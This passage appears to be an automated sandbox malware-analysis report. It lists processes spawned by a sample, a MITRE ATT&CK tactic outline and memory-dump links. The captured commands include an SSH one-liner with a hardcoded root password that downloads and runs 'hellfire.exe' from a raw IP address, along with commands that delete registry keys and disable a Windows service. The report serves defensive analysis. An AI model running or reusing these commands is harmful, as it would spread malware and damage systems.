  cmd /c echo y | plink -ssh [email protected] -pw letmein "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:7916
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c reg delete HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\* /f 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:27616
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c sc stop LanmanWorkstation 2>nul & sc config LanmanWorkstation start= disabled 2>nul & sc delete LanmanWorkstation 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:27624
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c wmic computersystem where name='%computername%' set AutomaticManagedPagefile=False 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:27632

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3520-14-0x000001B45F8B0000-0x000001B45F962000-memory.dmp

Download

memory/3520-15-0x000001B447730000-0x000001B44773A000-memory.dmp

Download

memory/3520-4-0x000001B447660000-0x000001B447682000-memory.dmp

Download

memory/3520-5-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

Download

memory/3520-6-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

Download

memory/3520-7-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

Download

memory/3520-8-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

Download

memory/3520-9-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

Download

memory/3520-10-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

Download

memory/3520-13-0x000001B45F890000-0x000001B45F8AE000-memory.dmp

Download

memory/3520-3-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

Download

memory/3520-16-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

Download

memory/3520-0-0x00007FF9D75CF000-0x00007FF9D75D0000-memory.dmp

Download

memory/3520-17-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

Download

memory/3520-18-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

Download

memory/3520-19-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

Download

memory/3520-20-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

Download

memory/3520-21-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

Download

memory/3520-22-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

Download

memory/3520-23-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

Download

memory/12868-30-0x00007FF7F85F0000-0x00007FF7F865F000-memory.dmp

Download

memory/12908-34-0x00007FF7F85F0000-0x00007FF7F865F000-memory.dmp

Download

memory/12940-36-0x00007FF7F85F0000-0x00007FF7F865F000-memory.dmp

Download

memory/12972-42-0x00007FF7F85F0000-0x00007FF7F865F000-memory.dmp

Download

memory/13004-40-0x00007FF7F85F0000-0x00007FF7F865F000-memory.dmp

Download

memory/13060-48-0x00007FF7F85F0000-0x00007FF7F865F000-memory.dmp

Download

memory/13072-52-0x00007FF7F85F0000-0x00007FF7F865F000-memory.dmp

Download

memory/13096-70-0x00007FF7F85F0000-0x00007FF7F865F000-memory.dmp

Download

memory/13104-54-0x00007FF7F85F0000-0x00007FF7F865F000-memory.dmp

Download

memory/13120-66-0x00007FF7F85F0000-0x00007FF7F865F000-memory.dmp

Download

memory/13128-58-0x00007FF7F85F0000-0x00007FF7F865F000-memory.dmp

Download

memory/13140-60-0x00007FF7F85F0000-0x00007FF7F865F000-memory.dmp

Download

memory/13164-150-0x00007FF7F85F0000-0x00007FF7F865F000-memory.dmp

Download

memory/13280-142-0x00007FF7F85F0000-0x00007FF7F865F000-memory.dmp

Download

memory/13308-128-0x00007FF7F85F0000-0x00007FF7F865F000-memory.dmp

Download

memory/13364-146-0x00007FF7F85F0000-0x00007FF7F865F000-memory.dmp

Download

memory/13384-136-0x00007FF7F85F0000-0x00007FF7F865F000-memory.dmp

Download

memory/13400-140-0x00007FF7F85F0000-0x00007FF7F865F000-memory.dmp

Download

memory/13408-132-0x00007FF7F85F0000-0x00007FF7F865F000-memory.dmp

Download

memory/13472-134-0x00007FF7F85F0000-0x00007FF7F865F000-memory.dmp

Download

memory/13548-130-0x00007FF7F85F0000-0x00007FF7F865F000-memory.dmp

Download

memory/13596-118-0x00007FF7F85F0000-0x00007FF7F865F000-memory.dmp

Download

memory/13616-122-0x00007FF7F85F0000-0x00007FF7F865F000-memory.dmp

Download

memory/13648-114-0x00007FF7F85F0000-0x00007FF7F865F000-memory.dmp

Download

memory/13684-110-0x00007FF7F85F0000-0x00007FF7F865F000-memory.dmp

Download

memory/13920-104-0x00007FF7F85F0000-0x00007FF7F865F000-memory.dmp

Download

memory/14140-106-0x00007FF7F85F0000-0x00007FF7F865F000-memory.dmp

Download

memory/14160-98-0x00007FF7F85F0000-0x00007FF7F865F000-memory.dmp

Download

memory/14448-91-0x00007FF7F85F0000-0x00007FF7F865F000-memory.dmp

Download

memory/14608-88-0x00007FF7F85F0000-0x00007FF7F865F000-memory.dmp

Download

memory/14704-84-0x00007FF7F85F0000-0x00007FF7F865F000-memory.dmp

Download

memory/14756-94-0x00007FF7F85F0000-0x00007FF7F865F000-memory.dmp

Download

memory/14804-78-0x00007FF7F85F0000-0x00007FF7F865F000-memory.dmp

Download

memory/14812-74-0x00007FF7F85F0000-0x00007FF7F865F000-memory.dmp

Download

memory/14828-68-0x00007FF7F85F0000-0x00007FF7F865F000-memory.dmp

Download

memory/14992-82-0x00007FF7F85F0000-0x00007FF7F865F000-memory.dmp

Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads